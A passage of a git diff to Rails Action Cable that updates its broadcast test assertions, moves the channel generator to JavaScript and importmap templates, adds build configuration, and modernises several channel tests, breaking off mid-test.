+    def after_teardown # :nodoc:
+      super
+      ActionCable.server.instance_variable_set(:@pubsub, @old_pubsub_adapter)
+    end
+
+    # Asserts that the number of broadcasted messages to the stream matches the
+    # given number.
+    #
+    #     def test_broadcasts
+    #       assert_broadcasts 'messages', 0
+    #       ActionCable.server.broadcast 'messages', { text: 'hello' }
+    #       assert_broadcasts 'messages', 1
+    #       ActionCable.server.broadcast 'messages', { text: 'world' }
+    #       assert_broadcasts 'messages', 2
+    #     end
+    #
+    # If a block is passed, that block should cause the specified number of messages
+    # to be broadcasted.
+    #
+    #     def test_broadcasts_again
+    #       assert_broadcasts('messages', 1) do
+    #         ActionCable.server.broadcast 'messages', { text: 'hello' }
+    #       end
+    #
+    #       assert_broadcasts('messages', 2) do
+    #         ActionCable.server.broadcast 'messages', { text: 'hi' }
+    #         ActionCable.server.broadcast 'messages', { text: 'how are you?' }
+    #       end
+    #     end
+    #
+    def assert_broadcasts(stream, number, &block)
+      if block_given?
+        new_messages = new_broadcasts_from(broadcasts(stream), stream, "assert_broadcasts", &block)
+
+        actual_count = new_messages.size
+        assert_equal number, actual_count, "#{number} broadcasts to #{stream} expected, but #{actual_count} were sent"
+      else
+        actual_count = broadcasts(stream).size
+        assert_equal number, actual_count, "#{number} broadcasts to #{stream} expected, but #{actual_count} were sent"
+      end
+    end
+
+    # Asserts that no messages have been sent to the stream.
+    #
+    #     def test_no_broadcasts
+    #       assert_no_broadcasts 'messages'
+    #       ActionCable.server.broadcast 'messages', { text: 'hi' }
+    #       assert_broadcasts 'messages', 1
+    #     end
+    #
+    # If a block is passed, that block should not cause any message to be sent.
+    #
+    #     def test_broadcasts_again
+    #       assert_no_broadcasts 'messages' do
+    #         # No job messages should be sent from this block
+    #       end
+    #     end
+    #
+    # Note: This assertion is simply a shortcut for:
+    #
+    #     assert_broadcasts 'messages', 0, &block
+    #
+    def assert_no_broadcasts(stream, &block)
+      assert_broadcasts stream, 0, &block
+    end
+
+    # Returns the messages that are broadcasted in the block.
+    #
+    #     def test_broadcasts
+    #       messages = capture_broadcasts('messages') do
+    #         ActionCable.server.broadcast 'messages', { text: 'hi' }
+    #         ActionCable.server.broadcast 'messages', { text: 'how are you?' }
+    #       end
+    #       assert_equal 2, messages.length
+    #       assert_equal({ text: 'hi' }, messages.first)
+    #       assert_equal({ text: 'how are you?' }, messages.last)
+    #     end
+    #
+    def capture_broadcasts(stream, &block)
+      new_broadcasts_from(broadcasts(stream), stream, "capture_broadcasts", &block).map { |m| ActiveSupport::JSON.decode(m) }
+    end
+
+    # Asserts that the specified message has been sent to the stream.
+    #
+    #     def test_assert_transmitted_message
+    #       ActionCable.server.broadcast 'messages', text: 'hello'
+    #       assert_broadcast_on('messages', text: 'hello')
+    #     end
+    #
+    # If a block is passed, that block should cause a message with the specified
+    # data to be sent.
+    #
+    #     def test_assert_broadcast_on_again
+    #       assert_broadcast_on('messages', text: 'hello') do
+    #         ActionCable.server.broadcast 'messages', text: 'hello'
+    #       end
+    #     end
+    #
+    def assert_broadcast_on(stream, data, &block)
+      # Encode to JSON and back–we want to use this value to compare with decoded
+      # JSON. Comparing JSON strings doesn't work due to the order if the keys.
+      serialized_msg =
+        ActiveSupport::JSON.decode(ActiveSupport::JSON.encode(data))
+
+      new_messages = broadcasts(stream)
+      if block_given?
+        new_messages = new_broadcasts_from(new_messages, stream, "assert_broadcast_on", &block)
+      end
+
+      message = new_messages.find { |msg| ActiveSupport::JSON.decode(msg) == serialized_msg }
+
+      error_message = "No messages sent with #{data} to #{stream}"
+
+      if new_messages.any?
+        error_message = new_messages.inject("#{error_message}\nMessage(s) found:\n") do |error_message, new_message|
+          error_message + "#{ActiveSupport::JSON.decode(new_message)}\n"
+        end
+      else
+        error_message = "#{error_message}\nNo message found for #{stream}"
+      end
+
+      assert message, error_message
+    end
+
+    def pubsub_adapter # :nodoc:
+      ActionCable.server.pubsub
+    end
+
+    delegate :broadcasts, :clear_messages, to: :pubsub_adapter
+
+    private
+      def new_broadcasts_from(current_messages, stream, assertion, &block)
+        old_messages = current_messages
+        clear_messages(stream)
+
+        _assert_nothing_raised_or_warn(assertion, &block)
+        new_messages = broadcasts(stream)
+        clear_messages(stream)
+
+        # Restore all sent messages
+        (old_messages + new_messages).each { |m| pubsub_adapter.broadcast(stream, m) }
+
+        new_messages
+      end
+  end
+end
diff --git a/actioncable/lib/action_cable/version.rb b/actioncable/lib/action_cable/version.rb
index d6081409f0e72..14423f9a6a1b6 100644
--- a/actioncable/lib/action_cable/version.rb
+++ b/actioncable/lib/action_cable/version.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require_relative "gem_version"
 
 module ActionCable
-  # Returns the version of the currently loaded Action Cable as a <tt>Gem::Version</tt>
+  # Returns the currently loaded version of Action Cable as a `Gem::Version`.
   def self.version
     gem_version
   end
diff --git a/actioncable/lib/rails/generators/channel/USAGE b/actioncable/lib/rails/generators/channel/USAGE
index dd109fda80b8b..13190920227e3 100644
--- a/actioncable/lib/rails/generators/channel/USAGE
+++ b/actioncable/lib/rails/generators/channel/USAGE
@@ -1,14 +1,19 @@
 Description:
-============
-    Stubs out a new cable channel for the server (in Ruby) and client (in CoffeeScript).
+    Generates a new cable channel for the server (in Ruby) and client (in JavaScript).
     Pass the channel name, either CamelCased or under_scored, and an optional list of channel actions as arguments.
 
-    Note: Turn on the cable connection in app/assets/javascripts/cable.js after generating any channels.
+Examples:
+    `bin/rails generate channel notification`
 
-Example:
-========
-    rails generate channel Chat speak
+    creates a notification channel class, test and JavaScript asset:
+        Channel:    app/channels/notification_channel.rb
+        Test:       test/channels/notification_channel_test.rb
+        Assets:     $JAVASCRIPT_PATH/channels/notification_channel.js
 
-    creates a Chat channel class and CoffeeScript asset:
-        Channel:    app/channels/chat_channel.rb
-        Assets:     app/assets/javascripts/channels/chat.coffee
+    `bin/rails generate channel chat speak`
+
+    creates a chat channel with a speak action.
+
+    `bin/rails generate channel comments --no-assets`
+
+    creates a comments channel without JavaScript assets.
diff --git a/actioncable/lib/rails/generators/channel/channel_generator.rb b/actioncable/lib/rails/generators/channel/channel_generator.rb
index 984b78bc9c7c9..72a6a3821ebe8 100644
--- a/actioncable/lib/rails/generators/channel/channel_generator.rb
+++ b/actioncable/lib/rails/generators/channel/channel_generator.rb
@@ -1,7 +1,11 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 module Rails
   module Generators
     class ChannelGenerator < NamedBase
-      source_root File.expand_path("../templates", __FILE__)
+      source_root File.expand_path("templates", __dir__)
 
       argument :actions, type: :array, default: [], banner: "method method"
 
@@ -9,39 +13,115 @@ class ChannelGenerator < NamedBase
 
       check_class_collision suffix: "Channel"
 
-      def create_channel_file
-        template "channel.rb", File.join("app/channels", class_path, "#{file_name}_channel.rb")
+      hook_for :test_framework
+
+      def create_channel_files
+        create_shared_channel_files
+        create_channel_file
 
-        if options[:assets]
-          if behavior == :invoke
-            template "assets/cable.js", "app/assets/javascripts/cable.js"
+        if using_javascript?
+          if first_setup_required?
+            create_shared_channel_javascript_files
+            import_channels_in_javascript_entrypoint
+
+            if using_importmap?
+              pin_javascript_dependencies
+            elsif using_js_runtime?
+              install_javascript_dependencies
+            end
           end
 
-          js_template "assets/channel", File.join("app/assets/javascripts/channels", class_path, "#{file_name}")
+          create_channel_javascript_file
+          import_channel_in_javascript_entrypoint
         end
-
-        generate_application_cable_files
       end
 
       private
-        def file_name
-          @_file_name ||= super.gsub(/_channel/i, "")
+        def create_shared_channel_files
+          return if behavior != :invoke
+
+          copy_file "#{__dir__}/templates/application_cable/channel.rb",
+            "app/channels/application_cable/channel.rb"
+          copy_file "#{__dir__}/templates/application_cable/connection.rb",
+            "app/channels/application_cable/connection.rb"
         end
 
-        # FIXME: Change these files to symlinks once RubyGems 2.5.0 is required.
-        def generate_application_cable_files
-          return if behavior != :invoke
+        def create_channel_file
+          template "channel.rb",
+            File.join("app/channels", class_path, "#{file_name}_channel.rb")
+        end
 
-          files = [
-            "application_cable/channel.rb",
-            "application_cable/connection.rb"
-          ]
+        def create_shared_channel_javascript_files
+          template "javascript/index.js", "app/javascript/channels/index.js"
+          template "javascript/consumer.js", "app/javascript/channels/consumer.js"
+        end
 
-          files.each do |name|
-            path = File.join("app/channels/", name)
-            template(name, path) if !File.exist?(path)
+        def create_channel_javascript_file
+          channel_js_path = File.join("app/javascript/channels", class_path, "#{file_name}_channel")
+          js_template "javascript/channel", channel_js_path
+          gsub_file "#{channel_js_path}.js", /\.\/consumer/, "channels/consumer" if using_importmap?
+        end
+
+        def import_channels_in_javascript_entrypoint
+          append_to_file "app/javascript/application.js",
+            using_importmap? ? %(import "channels"\n) : %(import "./channels"\n)
+        end
+
+        def import_channel_in_javascript_entrypoint
+          append_to_file "app/javascript/channels/index.js",
+            using_importmap? ? %(import "channels/#{file_name}_channel"\n) : %(import "./#{file_name}_channel"\n)
+        end
+
+        def install_javascript_dependencies
+          say "Installing JavaScript dependencies", :green
+          if using_bun?
+            run "bun add @rails/actioncable"
+          elsif using_node?
+            run "yarn add @rails/actioncable"
           end
         end
+
+        def pin_javascript_dependencies
+          append_to_file "config/importmap.rb", <<-RUBY
+pin "@rails/actioncable", to: "actioncable.esm.js"
+pin_all_from "app/javascript/channels", under: "channels"
+          RUBY
+        end
+
+        def file_name
+          @_file_name ||= super.sub(/_channel\z/i, "")
+        end
+
+        def first_setup_required?
+          !root.join("app/javascript/channels/index.js").exist?
+        end
+
+        def using_javascript?
+          @using_javascript ||= options[:assets] && root.join("app/javascript").exist?
+        end
+
+        def using_js_runtime?
+          @using_js_runtime ||= root.join("package.json").exist?
+        end
+
+        def using_bun?
+          # Cannot assume Bun lockfile has been generated yet so we look for a file known to
+          # be generated by the jsbundling-rails gem
+          @using_bun ||= using_js_runtime? && root.join("bun.config.js").exist?
+        end
+
+        def using_node?
+          # Bun is the only runtime that _isn't_ node.
+          @using_node ||= using_js_runtime? && !root.join("bun.config.js").exist?
+        end
+
+        def using_importmap?
+          @using_importmap ||= root.join("config/importmap.rb").exist?
+        end
+
+        def root
+          @root ||= Pathname(destination_root)
+        end
     end
   end
 end
diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb.tt
similarity index 100%
rename from actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb
rename to actioncable/lib/rails/generators/channel/templates/application_cable/channel.rb.tt
diff --git a/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb b/actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb.tt
similarity index 100%
rename from actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb
rename to actioncable/lib/rails/generators/channel/templates/application_cable/connection.rb.tt
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/cable.js b/actioncable/lib/rails/generators/channel/templates/assets/cable.js
deleted file mode 100644
index 739aa5f022071..0000000000000
--- a/actioncable/lib/rails/generators/channel/templates/assets/cable.js
+++ /dev/null
@@ -1,13 +0,0 @@
-// Action Cable provides the framework to deal with WebSockets in Rails.
-// You can generate new channels where WebSocket features live using the `rails generate channel` command.
-//
-//= require action_cable
-//= require_self
-//= require_tree ./channels
-
-(function() {
-  this.App || (this.App = {});
-
-  App.cable = ActionCable.createConsumer();
-
-}).call(this);
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee b/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee
deleted file mode 100644
index 5467811aba574..0000000000000
--- a/actioncable/lib/rails/generators/channel/templates/assets/channel.coffee
+++ /dev/null
@@ -1,14 +0,0 @@
-App.<%= class_name.underscore %> = App.cable.subscriptions.create "<%= class_name %>Channel",
-  connected: ->
-    # Called when the subscription is ready for use on the server
-
-  disconnected: ->
-    # Called when the subscription has been terminated by the server
-
-  received: (data) ->
-    # Called when there's incoming data on the websocket for this channel
-<% actions.each do |action| -%>
-
-  <%= action %>: ->
-    @perform '<%= action %>'
-<% end -%>
diff --git a/actioncable/lib/rails/generators/channel/templates/assets/channel.js b/actioncable/lib/rails/generators/channel/templates/assets/channel.js
deleted file mode 100644
index ab0e68b11aaf0..0000000000000
--- a/actioncable/lib/rails/generators/channel/templates/assets/channel.js
+++ /dev/null
@@ -1,18 +0,0 @@
-App.<%= class_name.underscore %> = App.cable.subscriptions.create("<%= class_name %>Channel", {
-  connected: function() {
-    // Called when the subscription is ready for use on the server
-  },
-
-  disconnected: function() {
-    // Called when the subscription has been terminated by the server
-  },
-
-  received: function(data) {
-    // Called when there's incoming data on the websocket for this channel
-  }<%= actions.any? ? ",\n" : '' %>
-<% actions.each do |action| -%>
-  <%=action %>: function() {
-    return this.perform('<%= action %>');
-  }<%= action == actions[-1] ? '' : ",\n" %>
-<% end -%>
-});
diff --git a/actioncable/lib/rails/generators/channel/templates/channel.rb b/actioncable/lib/rails/generators/channel/templates/channel.rb.tt
similarity index 100%
rename from actioncable/lib/rails/generators/channel/templates/channel.rb
rename to actioncable/lib/rails/generators/channel/templates/channel.rb.tt
diff --git a/actioncable/lib/rails/generators/channel/templates/javascript/channel.js.tt b/actioncable/lib/rails/generators/channel/templates/javascript/channel.js.tt
new file mode 100644
index 0000000000000..ddf6b2d79ba0a
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/javascript/channel.js.tt
@@ -0,0 +1,20 @@
+import consumer from "./consumer"
+
+consumer.subscriptions.create("<%= class_name %>Channel", {
+  connected() {
+    // Called when the subscription is ready for use on the server
+  },
+
+  disconnected() {
+    // Called when the subscription has been terminated by the server
+  },
+
+  received(data) {
+    // Called when there's incoming data on the websocket for this channel
+  }<%= actions.any? ? ",\n" : '' %>
+<% actions.each do |action| -%>
+  <%=action %>: function() {
+    return this.perform('<%= action %>');
+  }<%= action == actions[-1] ? '' : ",\n" %>
+<% end -%>
+});
diff --git a/actioncable/lib/rails/generators/channel/templates/javascript/consumer.js.tt b/actioncable/lib/rails/generators/channel/templates/javascript/consumer.js.tt
new file mode 100644
index 0000000000000..8ec3aad3ae962
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/javascript/consumer.js.tt
@@ -0,0 +1,6 @@
+// Action Cable provides the framework to deal with WebSockets in Rails.
+// You can generate new channels where WebSocket features live using the `bin/rails generate channel` command.
+
+import { createConsumer } from "@rails/actioncable"
+
+export default createConsumer()
diff --git a/actioncable/lib/rails/generators/channel/templates/javascript/index.js.tt b/actioncable/lib/rails/generators/channel/templates/javascript/index.js.tt
new file mode 100644
index 0000000000000..08dc8af2a03bd
--- /dev/null
+++ b/actioncable/lib/rails/generators/channel/templates/javascript/index.js.tt
@@ -0,0 +1 @@
+// Import all the channels to be used by Action Cable
diff --git a/actioncable/lib/rails/generators/test_unit/channel_generator.rb b/actioncable/lib/rails/generators/test_unit/channel_generator.rb
new file mode 100644
index 0000000000000..6054a3be77aff
--- /dev/null
+++ b/actioncable/lib/rails/generators/test_unit/channel_generator.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+module TestUnit
+  module Generators
+    class ChannelGenerator < ::Rails::Generators::NamedBase
+      source_root File.expand_path("templates", __dir__)
+
+      check_class_collision suffix: "ChannelTest"
+
+      def create_test_files
+        template "channel_test.rb", File.join("test/channels", class_path, "#{file_name}_channel_test.rb")
+      end
+
+      private
+        def file_name # :doc:
+          @_file_name ||= super.sub(/_channel\z/i, "")
+        end
+    end
+  end
+end
diff --git a/actioncable/lib/rails/generators/test_unit/templates/channel_test.rb.tt b/actioncable/lib/rails/generators/test_unit/templates/channel_test.rb.tt
new file mode 100644
index 0000000000000..7307654611402
--- /dev/null
+++ b/actioncable/lib/rails/generators/test_unit/templates/channel_test.rb.tt
@@ -0,0 +1,8 @@
+require "test_helper"
+
+class <%= class_name %>ChannelTest < ActionCable::Channel::TestCase
+  # test "subscribes" do
+  #   subscribe
+  #   assert subscription.confirmed?
+  # end
+end
diff --git a/actioncable/package.json b/actioncable/package.json
index 37f82fa1ea2e7..1f1535a5bbdc1 100644
--- a/actioncable/package.json
+++ b/actioncable/package.json
@@ -1,10 +1,12 @@
 {
-  "name": "actioncable",
-  "version": "5.0.0-rc1",
+  "name": "@rails/actioncable",
+  "version": "8.2.0-alpha",
   "description": "WebSocket framework for Ruby on Rails.",
-  "main": "lib/assets/compiled/action_cable.js",
+  "module": "app/assets/javascripts/actioncable.esm.js",
+  "main": "app/assets/javascripts/actioncable.js",
   "files": [
-    "lib/assets/compiled/*.js"
+    "app/assets/javascripts/*.js",
+    "src/*.js"
   ],
   "repository": {
     "type": "git",
@@ -20,5 +22,29 @@
   "bugs": {
     "url": "https://github.com/rails/rails/issues"
   },
-  "homepage": "http://rubyonrails.org/"
+  "homepage": "https://rubyonrails.org/",
+  "devDependencies": {
+    "@eslint/js": "^9.24.0",
+    "@rollup/plugin-commonjs": "^19.0.1",
+    "@rollup/plugin-node-resolve": "^11.0.1",
+    "eslint": "^9.24.0",
+    "eslint-plugin-import": "^2.31.0",
+    "globals": "^14.0.0",
+    "karma": "^6.4.2",
+    "karma-chrome-launcher": "^2.2.0",
+    "karma-qunit": "^2.1.0",
+    "karma-sauce-launcher": "^1.2.0",
+    "mock-socket": "^2.0.0",
+    "qunit": "^2.8.0",
+    "rollup": "^2.35.1",
+    "rollup-plugin-terser": "^7.0.2"
+  },
+  "scripts": {
+    "prebuild": "yarn lint && bundle exec rake assets:codegen",
+    "build": "rollup --config rollup.config.js",
+    "lint": "eslint app/javascript",
+    "prepublishOnly": "rm -rf src && cp -R app/javascript/action_cable src",
+    "pretest": "bundle exec rake assets:codegen && rollup --config rollup.config.test.js",
+    "test": "karma start"
+  }
 }
diff --git a/actioncable/rollup.config.js b/actioncable/rollup.config.js
new file mode 100644
index 0000000000000..0ae1181be17dd
--- /dev/null
+++ b/actioncable/rollup.config.js
@@ -0,0 +1,46 @@
+import resolve from "@rollup/plugin-node-resolve"
+import { terser } from "rollup-plugin-terser"
+
+const terserOptions = {
+  mangle: false,
+  compress: false,
+  format: {
+    beautify: true,
+    indent_level: 2
+  }
+}
+
+export default [
+  {
+    input: "app/javascript/action_cable/index.js",
+    output: [
+      {
+        file: "app/assets/javascripts/actioncable.js",
+        format: "umd",
+        name: "ActionCable"
+      },
+
+      {
+        file: "app/assets/javascripts/actioncable.esm.js",
+        format: "es"
+      }
+    ],
+    plugins: [
+      resolve(),
+      terser(terserOptions)
+    ]
+  },
+
+  {
+    input: "app/javascript/action_cable/index_with_name_deprecation.js",
+    output: {
+      file: "app/assets/javascripts/action_cable.js",
+      format: "umd",
+      name: "ActionCable"
+    },
+    plugins: [
+      resolve(),
+      terser(terserOptions)
+    ]
+  },
+]
diff --git a/actioncable/rollup.config.test.js b/actioncable/rollup.config.test.js
new file mode 100644
index 0000000000000..06ddc8871ce52
--- /dev/null
+++ b/actioncable/rollup.config.test.js
@@ -0,0 +1,16 @@
+import commonjs from "@rollup/plugin-commonjs"
+import resolve from "@rollup/plugin-node-resolve"
+
+export default {
+  input: "test/javascript/src/test.js",
+
+  output: {
+    file: "test/javascript/compiled/test.js",
+    format: "iife"
+  },
+
+  plugins: [
+    resolve(),
+    commonjs()
+  ]
+}
diff --git a/actioncable/test/channel/base_test.rb b/actioncable/test/channel/base_test.rb
index 9a3a3581e675f..62e6958fcd8d0 100644
--- a/actioncable/test/channel/base_test.rb
+++ b/actioncable/test/channel/base_test.rb
@@ -1,8 +1,11 @@
+# frozen_string_literal: true
+
 require "test_helper"
+require "minitest/mock"
 require "stubs/test_connection"
 require "stubs/room"
 
-class ActionCable::Channel::BaseTest < ActiveSupport::TestCase
+class ActionCable::Channel::BaseTest < ActionCable::TestCase
   class ActionCable::Channel::Base
     def kick
       @last_action = [ :kick ]
@@ -23,6 +26,9 @@ class ChatChannel < BasicChannel
     after_subscribe :toggle_subscribed
     after_unsubscribe :toggle_subscribed
 
+    class SomeCustomError < StandardError; end
+    rescue_from SomeCustomError, with: :error_handler
+
     def initialize(*)
       @subscribed = false
       super
@@ -58,17 +64,25 @@ def subscribed?
     end
 
     def get_latest
-      transmit data: "latest"
+      transmit({ data: "latest" })
     end
 
     def receive
       @last_action = [ :receive ]
     end
 
+    def error_action
+      raise SomeCustomError
+    end
+
     private
       def rm_rf
         @last_action = [ :rm_rf ]
       end
+
+      def error_handler
+        @last_action = [ :error_action ]
+      end
   end
 
   setup do
@@ -91,16 +105,35 @@ def rm_rf
     assert_equal({ id: 1 }, @channel.params)
   end
 
+  test "does not log filtered parameters" do
+    @connection.server.config.filter_parameters << :password
+    data = { password: "password", foo: "foo" }
+
+    assert_logged({ password: "[FILTERED]" }.inspect[1..-2]) do
+      @channel.perform_action data
+    end
+  end
+
   test "unsubscribing from a channel" do
     @channel.subscribe_to_channel
 
     assert @channel.room
-    assert @channel.subscribed?
+    assert_predicate @channel, :subscribed?
 
     @channel.unsubscribe_from_channel
 
-    assert ! @channel.room
-    assert ! @channel.subscribed?
+    assert_not @channel.room
+    assert_not_predicate @channel, :subscribed?
+  end
+
+  test "unsubscribed? method returns correct status" do
+    assert_not @channel.unsubscribed?
+
+    @channel.subscribe_to_channel
+    assert_not @channel.unsubscribed?
+
+    @channel.unsubscribe_from_channel
+    assert @channel.unsubscribed?
   end
 
   test "connection identifiers" do
@@ -165,7 +198,7 @@ def rm_rf
   end
 
   test "actions available on Channel" do
-    available_actions = %w(room last_action subscribed unsubscribed toggle_subscribed leave speak subscribed? get_latest receive chatters topic).to_set
+    available_actions = %w(room last_action subscribed unsubscribed toggle_subscribed leave speak subscribed? get_latest receive chatters topic error_action).to_set
     assert_equal available_actions, ChatChannel.action_methods
   end
 
@@ -176,82 +209,56 @@ def rm_rf
   end
 
   test "notification for perform_action" do
-    begin
-      events = []
-      ActiveSupport::Notifications.subscribe "perform_action.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
-      end
-
-      data = { "action" => :speak, "content" => "hello" }
-      @channel.perform_action data
+    data = { "action" => :speak, "content" => "hello" }
+    expected_payload = { channel_class: "ActionCable::Channel::BaseTest::ChatChannel", action: :speak, data: }
 
-      assert_equal 1, events.length
-      assert_equal "perform_action.action_cable", events[0].name
-      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
-      assert_equal :speak, events[0].payload[:action]
-      assert_equal data, events[0].payload[:data]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "perform_action.action_cable"
+    assert_notifications_count("perform_action.action_cable", 1) do
+      assert_notification("perform_action.action_cable", expected_payload) do
+        @channel.perform_action data
+      end
     end
   end
 
   test "notification for transmit" do
-    begin
-      events = []
-      ActiveSupport::Notifications.subscribe "transmit.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
-      end
-
-      @channel.perform_action "action" => :get_latest
-      expected_data = { data: "latest" }
+    data = { data: "latest" }
+    expected_payload = { channel_class: "ActionCable::Channel::BaseTest::ChatChannel", data:, via: nil }
 
-      assert_equal 1, events.length
-      assert_equal "transmit.action_cable", events[0].name
-      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
-      assert_equal expected_data, events[0].payload[:data]
-      assert_nil events[0].payload[:via]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "transmit.action_cable"
+    assert_notifications_count("transmit.action_cable", 1) do
+      assert_notification("transmit.action_cable", expected_payload) do
+        @channel.perform_action "action" => :get_latest
+      end
     end
   end
 
   test "notification for transmit_subscription_confirmation" do
-    begin
-      @channel.subscribe_to_channel
-
-      events = []
-      ActiveSupport::Notifications.subscribe "transmit_subscription_confirmation.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
-      end
+    expected_payload = { channel_class: "ActionCable::Channel::BaseTest::ChatChannel", identifier: "{id: 1}" }
 
-      @channel.stubs(:subscription_confirmation_sent?).returns(false)
-      @channel.send(:transmit_subscription_confirmation)
+    @channel.subscribe_to_channel
 
-      assert_equal 1, events.length
-      assert_equal "transmit_subscription_confirmation.action_cable", events[0].name
-      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "transmit_subscription_confirmation.action_cable"
+    assert_notifications_count("transmit_subscription_confirmation.action_cable", 1) do
+      assert_notification("transmit_subscription_confirmation.action_cable", expected_payload) do
+        @channel.stub(:subscription_confirmation_sent?, false) do
+          @channel.send(:transmit_subscription_confirmation)
+        end
+      end
     end
   end
 
   test "notification for transmit_subscription_rejection" do
-    begin
-      events = []
-      ActiveSupport::Notifications.subscribe "transmit_subscription_rejection.action_cable" do |*args|
-        events << ActiveSupport::Notifications::Event.new(*args)
-      end
+    expected_payload = { channel_class: "ActionCable::Channel::BaseTest::ChatChannel", identifier: "{id: 1}" }
 
-      @channel.send(:transmit_subscription_rejection)
-
-      assert_equal 1, events.length
-      assert_equal "transmit_subscription_rejection.action_cable", events[0].name
-      assert_equal "ActionCable::Channel::BaseTest::ChatChannel", events[0].payload[:channel_class]
-    ensure
-      ActiveSupport::Notifications.unsubscribe "transmit_subscription_rejection.action_cable"
+    assert_notifications_count("transmit_subscription_rejection.action_cable", 1) do
+      assert_notification("transmit_subscription_rejection.action_cable", expected_payload) do
+        @channel.send(:transmit_subscription_rejection)
+      end
     end
   end
 
+  test "behaves like rescuable" do
+    @channel.perform_action "action" => :error_action
+    assert_equal [ :error_action ], @channel.last_action
+  end
+
   private
     def assert_logged(message)
       old_logger = @connection.logger
diff --git a/actioncable/test/channel/broadcasting_test.rb b/actioncable/test/channel/broadcasting_test.rb
index 3476c1db31fe5..a241ec6a20977 100644
--- a/actioncable/test/channel/broadcasting_test.rb
+++ b/actioncable/test/channel/broadcasting_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_connection"
 require "stubs/room"
 
-class ActionCable::Channel::BroadcastingTest < ActiveSupport::TestCase
+class ActionCable::Channel::BroadcastingTest < ActionCable::TestCase
   class ChatChannel < ActionCable::Channel::Base
   end
 
@@ -10,20 +12,63 @@ class ChatChannel < ActionCable::Channel::Base
     @connection = TestConnection.new
   end
 
-  test "broadcasts_to" do
-    ActionCable.stubs(:server).returns mock().tap { |m| m.expects(:broadcast).with("action_cable:channel:broadcasting_test:chat:Room#1-Campfire", "Hello World") }
-    ChatChannel.broadcast_to(Room.new(1), "Hello World")
+  test "broadcasts_to with an object" do
+    assert_called_with(
+      ActionCable.server,
+      :broadcast,
+      [
+        "action_cable:channel:broadcasting_test:chat:Room#1-Campfire",
+        "Hello World"
+      ]
+    ) do
+      ChatChannel.broadcast_to(Room.new(1), "Hello World")
+    end
+  end
+
+  test "broadcasts_to with an array" do
+    assert_called_with(
+      ActionCable.server,
+      :broadcast,
+      [
+        "action_cable:channel:broadcasting_test:chat:Room#1-Campfire:Room#2-Campfire",
+        "Hello World"
+      ]
+    ) do
+      ChatChannel.broadcast_to([ Room.new(1), Room.new(2) ], "Hello World")
+    end
+  end
+
+  test "broadcasts_to with a string" do
+    assert_called_with(
+      ActionCable.server,
+      :broadcast,
+      [
+        "action_cable:channel:broadcasting_test:chat:hello",
+        "Hello World"
+      ]
+    ) do
+      ChatChannel.broadcast_to("hello", "Hello World")
+    end
   end
 
   test "broadcasting_for with an object" do
-    assert_equal "Room#1-Campfire", ChatChannel.broadcasting_for(Room.new(1))
+    assert_equal(
+      "action_cable:channel:broadcasting_test:chat:Room#1-Campfire",
+      ChatChannel.broadcasting_for(Room.new(1))
+    )
   end
 
   test "broadcasting_for with an array" do
-    assert_equal "Room#1-Campfire:Room#2-Campfire", ChatChannel.broadcasting_for([ Room.new(1), Room.new(2) ])
+    assert_equal(
+      "action_cable:channel:broadcasting_test:chat:Room#1-Campfire:Room#2-Campfire",
+      ChatChannel.broadcasting_for([ Room.new(1), Room.new(2) ])
+    )
   end
 
   test "broadcasting_for with a string" do
-    assert_equal "hello", ChatChannel.broadcasting_for("hello")
+    assert_equal(
+      "action_cable:channel:broadcasting_test:chat:hello",
+      ChatChannel.broadcasting_for("hello")
+    )
   end
 end
diff --git a/actioncable/test/channel/naming_test.rb b/actioncable/test/channel/naming_test.rb
index 08f0e7be4829d..45652d9cc9db1 100644
--- a/actioncable/test/channel/naming_test.rb
+++ b/actioncable/test/channel/naming_test.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "test_helper"
 
-class ActionCable::Channel::NamingTest < ActiveSupport::TestCase
+class ActionCable::Channel::NamingTest < ActionCable::TestCase
   class ChatChannel < ActionCable::Channel::Base
   end
 
diff --git a/actioncable/test/channel/periodic_timers_test.rb b/actioncable/test/channel/periodic_timers_test.rb
index 17a8e45a35d7a..0c979f4c7c63c 100644
--- a/actioncable/test/channel/periodic_timers_test.rb
+++ b/actioncable/test/channel/periodic_timers_test.rb
@@ -1,9 +1,11 @@
+# frozen_string_literal: true
+
 require "test_helper"
 require "stubs/test_connection"
 require "stubs/room"
 require "active_support/time"
 
-class ActionCable::Channel::PeriodicTimersTest < ActiveSupport::TestCase
+class ActionCable::Channel::PeriodicTimersTest < ActionCable::TestCase
   class ChatChannel < ActionCable::Channel::Base
     # Method name arg
     periodically :send_updates, every: 1
@@ -62,11 +64,22 @@ def ping
   end
 
   test "timer start and stop" do
-    @connection.server.event_loop.expects(:timer).times(3).returns(stub(shutdown: nil))
-    channel = ChatChannel.new @connection, "{id: 1}", id: 1
+    mock = Minitest::Mock.new
+    3.times { mock.expect(:shutdown, nil) }
+
+    assert_called(
+      @connection.server.event_loop,
+      :timer,
+      times: 3,
+      returns: mock
+    ) do
+      channel = ChatChannel.new @connection, "{id: 1}", id: 1
+
+      channel.subscribe_to_channel
+      channel.unsubscribe_from_channel
